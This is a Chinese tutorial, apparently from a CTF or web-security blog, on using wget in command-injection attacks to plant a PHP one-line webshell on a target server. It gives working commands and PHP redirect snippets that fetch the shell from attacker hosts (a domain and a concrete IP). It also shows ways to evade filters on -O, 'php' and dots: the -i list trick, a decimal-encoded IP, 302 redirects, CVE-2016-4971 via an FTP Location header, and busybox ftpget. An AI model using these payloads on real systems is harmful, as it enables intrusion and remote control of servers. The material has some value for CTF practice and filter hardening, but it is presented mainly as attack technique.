本文主要介绍命令执行类漏洞利用中的wget命令的各种变形。
文章目录:
wget && 绕过
0x01 简介
在命令执行类漏洞的利用场景中和Web方向的题目中,wget出场率是非常之高的。
因为外部写入shell主要是两种方法:1.echo 2.wget
今天主要说一下wget方法
一般情况下,我们使用如下命令getshell
wget from0to1.me/1.txt -O 1.php
然而我们可以发现,这一段payload中敏感字符太多了。
. / php
0x02 过滤了-O
按照正常逻辑,我们需要用-O来指定输出文件,否则脚本将无法正常运行。
当我们没有指定-O时,它将采用我们下载文件名,即1.txt
如果前面只有域名而没有下载文件名时,将默认使用index.html
但是如果我们把下载文件名改为1.php,得到的将是解析后的内容,而不是php文件本身。
这里有两个方法进行绕过:
1.构造php脚本,使其解析后的内容为一句话木马
2.修改apache的解析,使其不解析php文件
wget from0to1.me/1.php
0x03 过滤了php
这里指的过滤了php,是指php3|4|5等所有后缀
我们生成的文件名来自于下载文件名,如果使用纯域名/ip,将默认生成index.html,无法getshell
但是我们仍然是有方法的。
我翻阅了一下wget的文档,发现wget中有一个参数-i,可以从文件中指定下载地址,于是我们就有了一个绕过思路了。
1.首先将网站主页内容改为
from0to1.me/1.php
2.下载该网站主页
wget from0to1.me
3.下载一句话
wget -i in*
成功在目录下生成了1.php一句话
0x04 过滤了 .(或者说是域名)
这个就很简单了,我们将域名对应的ip地址转为数字
wget 1985599799
wget -i i*
成功生成一句话
0x05 302跳转
其实还有一种方法,用302跳转,不过在上面几个场景中,没有什么特别的优势。
<?php
header("Location: https://from0to1.me/1.txt");
?>
0x06 wget CVE-2016-4971
该漏洞主要是 wget 对 HTTP 重定向中 FTP 协议的处理问题,漏洞存在于 1.17 及以下版本。当 wget 检测到服务器返回 301 或 302 时,会自动重定向并下载目标文件。
在正常情况下,即使重定位的文件名不同,下载文件仍会使用原文件名,如果不存在原文件名,则将使用index.html。
但是当返回的Location中使用FTP协议时,wget会默认信赖重定向的FTP URL,而没有进行二次验证或对下载文件名进行适当的处理,使用了重定位的文件名,从而导致了安全隐患。
- 利用方法
在vps上搭建ftp服务器,并且开启匿名访问(不开启也可以,就是要输入密码)
然后在Web服务器主页设置302跳转
<?php
header("Location: ftp://118.89.217.55/1.php");
//ftp://ftpname:woaini123@118.89.217.55/1.php
?>
此时,我们在受害者服务器执行:
ls -l
wget 1985599799
将在目录下生成1.php的一句话木马
不过目前大部分已经修复了吧~
wget历史包:
0x07 busybox 下载
busybox ftpget 1985599799 index.php
也可以从ftp服务器上将shell下载下来,
不过有人说只能以ip为host,这样的话就很鸡肋了。